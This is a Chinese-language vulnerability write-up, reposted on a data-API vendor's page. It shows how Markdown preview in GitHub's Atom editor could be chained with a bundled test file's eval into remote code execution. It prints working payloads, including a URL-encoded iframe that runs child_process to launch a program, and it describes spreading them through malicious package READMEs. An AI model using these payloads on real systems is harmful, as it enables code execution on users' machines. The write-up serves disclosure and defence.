掌握聚合最新动态了解行业最新趋势
API接口,开发服务,免费咨询服务

Atom也爆远程代码执行漏洞?就问你怕不怕!

0x00 前言

最近我花了点时间看了下Atom(https://atom.io/)  ,它是由Github发布的文本编辑器。经过一段时间的研究,我可以将Atom中的多个漏洞组合利用最终实现远程代码执行。 

0x01 将Web安全问题带到了桌面应用?

Atom是使用Electron(https://electronjs.org/)写的。Electron是一个基于JavaScript、HTML和CSS用于开发桌面应用的跨平台框架。通过利用现成的框架,可以极大的提高开发效率。 

0x02 通过CSP缓解缓解XSS漏洞

在我们挖掘漏洞之前,我们先看一下GitHub的开发人员是如何缓解Atom的XSS问题:使用Content-Security-Policy(内容安全策略)。 翻一下Atom的index.html代码,你会看到下面的策略:

<!DOCTYPE html><html>

   <head>

      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">

      <script src="index.js"></script>

   </head>

   <body tabindex="-1"></body></html>

script-src'self''unsafe-eval'的含义是着同源的JavaScript以及使用eval like构造创建的代码可以被执行。但是,任何内嵌的JavaScript代码都不会被执行。 简单来说,来自“index.js”的JavaScript可以再下面的示例中执行,alert(1) 不能执行,因为它属于内联JavaScript代码:

<!DOCTYPE html><html>

   <head>

      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">

   </head>

   <!-- Following line will be executed since it is JS embedded from the same origin -->

   <script src="index.js"></script>

   <!-- Following line will not be executed since it is inline JavaScript -->

   <script>alert(1)</script></html>

0x03 Atom是如何解析Markdown文件的

在挖掘包含语法解析器或预览生成器软件的漏洞时,花费一些时间来研究这些组件往往会有意想不到的收获。通常情况下,解析库一般是采用了一些第三方组件,这些组件再开发时可能已经考虑到了这些安全问题。但是就安全性这个问题来讲,组件的原作者以及后续基于该组件的开发者来说,两类人可能会有不同的需求。 举个例子,开发者会默认这些库的输入内容都是可信的。所以我们先来看一看Atom是如何解析Markdown文件的。这个默认组件的相关代码可以在GitHub上找到:https://github.com/atom/markdown-preview。粗略的看了先,我发现,Markdown解析器似乎也解析了任意的HTML文档: 

所以第一个想法是插入一个简单的JavaScript代码片段来检查JavaScript是否被Markdown库过滤。虽然CSP会阻止代码在这里执行,但是通过这个方法可以检测到是否采用了一些基本的过滤手段。 如下图所示,事实证明,响应的脚本代码并不会出现在DOM中。 

所以,针对GitHub上的研究发现,并不是所有的HTML代码都可以直接渲染执行的。我们来看一下Markdown库是如何对输入的内容进行过滤的:

sanitize = (html) ->

  o = cheerio.load(html)

  o('script').remove()

  attributesToRemove = [	    'onabort'

    'onblur'

    'onchange'

    'onclick'

    'ondbclick'

    'onerror'

    'onfocus'

    'onkeydown'

    'onkeypress'

    'onkeyup'

    'onload'

    'onmousedown'

    'onmousemove'

    'onmouseover'

    'onmouseout'

    'onmouseup'

    'onreset'

    'onresize'

    'onscroll'

    'onselect'

    'onsubmit'

    'onunload'

  ]

  o('*').removeAttr(attribute) for attribute in attributesToRemove

  o.html()

可以说是这个过滤手段是非常的鸡肋了,但是再配合上CSP的力量,常规的payload应该都不会被执行。 还是回头看一下之前的截图,仍然有一些payload是可以被加载的。 

通过截图可以看到,Atom是在file://协议下执行的,那么如果我们创建一个恶意的HTML文件并在本地嵌入,会发生什么事呢?按理来说这将被Electron识别为同源,因此JavaScript代码应该会被执行。 所以我在home文件夹中创建了一个名为hacked.html的文件,文件内容如下:

<script>

   alert(1);</script>

现在只需在Markdown文档中嵌入iframe,就可以触发JavaScript代码。事实确实是这样。 

0x04 构造本地DOM XSS漏洞利用链

虽然我现在已经能够执行任意的JavaScript代码了,但是这里存在一个问题:要想利用这个漏洞需要跟用户进行大量的交互。

1.用户必须主动打开这个Markdown 文档

2.用户必须打开Markdown文档预览

3.恶意Markdown文档需要包含另一个本地恶意JavaScript文件

所以这种问题要是再真实的攻击场景中,那就有点鸡肋了。换个思路,如果包含存在DOM XSS漏洞的本地文件呢?这意味着可以成功的利用这一漏洞。所以我决定看看其他的HTML文件。 幸运的是,在OS X上,应用程序只是一堆文件,我们可以直接看到代码。从这个文件夹开始往下看:/Applications/Atom.app/Contents:

未命名1511421529.png

搜索文件夹下的HTML文件找到了这样一些文件:

➜  Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html

./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html

./Resources/app/apm/node_modules/clone/test-apart-ctx.html

./Resources/app/apm/node_modules/clone/test.html

./Resources/app/apm/node_modules/colors/example.html

./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html

./Resources/app/apm/node_modules/jsbn/example.html

可以使用一些审计js代码的工具:https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/,或者也可以人工的去审计这些HTML文件。 

<html>

  <head>

    <meta charset="utf-8">

    <title>Clone Test-Suite (Browser)</title>

  </head>

  <body>

    <script>

      var data = document.location.search.substr(1).split('&');      try {

        ctx = parent[data[0]];        eval(decodeURIComponent(data[1]));        window.results = results;

      } catch(e) {        var extra = '';        if (e.name == 'SecurityError')

          extra = 'This test suite needs to be run on an http server.';

        alert('Apart Context iFrame Errorn' + e + 'nn' + extra);        throw e;

      }    </script>

  </body></html>

在document.location.search上有一个eval调用,可以通过URL控制传入的内容。而且,Atom的Content-Security-Policy允许eval语句执行,所以打开如下所示的代码应该也会弹窗:

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,下面的Markdown文档就足以执行任意的JavaScript代码了:

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>

未命名1511421602.png

0x05 本地任意代码执行

正如文章前面所说,在Electron应用程序中执行恶意JavaScript代码通常也就意味着本地任意代码执行。在这种情况下,一个简单的思路就是访问window.top对象,并使用NodeJS require函数访问child_process模块。 通过以下JavaScript代码可以打开Mac OS X计算器:

<script type="text/javascript">  window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script>

以前的漏洞利用方式是这样的:

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>

只要打开构造好的Markdown文档,Calculator.app就会打开执行: 

0x06 如何实现远程任意代码执行?

虽然经过上面的研究我们已经取得了一些进展,但仍然需要受害者打开恶意的Markdown文档(需要用户交互的漏洞,价值都会大打折扣)。想了下,要知道tom渲染Markdown文档可不止这一处。 在Atom源代码上执行grep搜索之后,还有另外一个渲染Markdown文件的模块https://github.com/atom/settings-view/。看了下它的过滤手段,也没啥卵用。

const ATTRIBUTES_TO_REMOVE = [  'onabort',  'onblur',  'onchange',  'onclick',  'ondbclick',  'onerror',  'onfocus',  'onkeydown',  'onkeypress',  'onkeyup',  'onload',  'onmousedown',  'onmousemove',  'onmouseover',  'onmouseout',  'onmouseup',  'onreset',  'onresize',  'onscroll',  'onselect',  'onsubmit',  'onunload']function sanitize (html) {  const temporaryContainer = document.createElement('div')

  temporaryContainer.innerHTML = html  for (const script of temporaryContainer.querySelectorAll('script')) {

    script.remove()

  }  for (const element of temporaryContainer.querySelectorAll('*')) {    for (const attribute of ATTRIBUTES_TO_REMOVE) {

      element.removeAttribute(attribute)

    }

  }  for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {

    checkbox.setAttribute('disabled', true)

  }  return temporaryContainer.innerHTML

}

这里的Markdown解析器也存在安全问题,而且似乎比前者更严重。Atom支持“Packages”,可以由社区的开发者提供第三方插件的扩展。这些第三方插件中Markdown格式的README,会在Atom视图中呈现。 因此,恶意攻击者只需要注册一堆恶意软件包,或者提供一些与现有软件名称相似的软件包,再README中插入恶意代码。只要有人点击该名称即可(并不需要安装!),恶意代码就可以成功的被执行了。 

0x07 来看一下Github是怎么修复这个漏洞的

经过与GitHub开发组讨论之后,这个漏洞已经被修复了,修复方法如下:

从软件包中删除不必要的HTML文件

使用 DOMPurify (https://github.com/cure53/DOMPurify)过滤Markdown中的内容

原文来自:嘶吼

声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com

  • 营运车判定查询

    输入车牌号码或车架号,判定是否属于营运车辆。

    输入车牌号码或车架号,判定是否属于营运车辆。

  • 名下车辆数量查询

    根据身份证号码/统一社会信用代码查询名下车辆数量。

    根据身份证号码/统一社会信用代码查询名下车辆数量。

  • 车辆理赔情况查询

    根据身份证号码/社会统一信用代码/车架号/车牌号,查询车辆是否有理赔情况。

    根据身份证号码/社会统一信用代码/车架号/车牌号,查询车辆是否有理赔情况。

  • 车辆过户次数查询

    根据身份证号码/社会统一信用代码/车牌号/车架号,查询车辆的过户次数信息。

    根据身份证号码/社会统一信用代码/车牌号/车架号,查询车辆的过户次数信息。

  • 风险人员分值

    根据姓名和身份证查询风险人员分值。

    根据姓名和身份证查询风险人员分值。

0512-88869195
数 据 驱 动 未 来
Data Drives The Future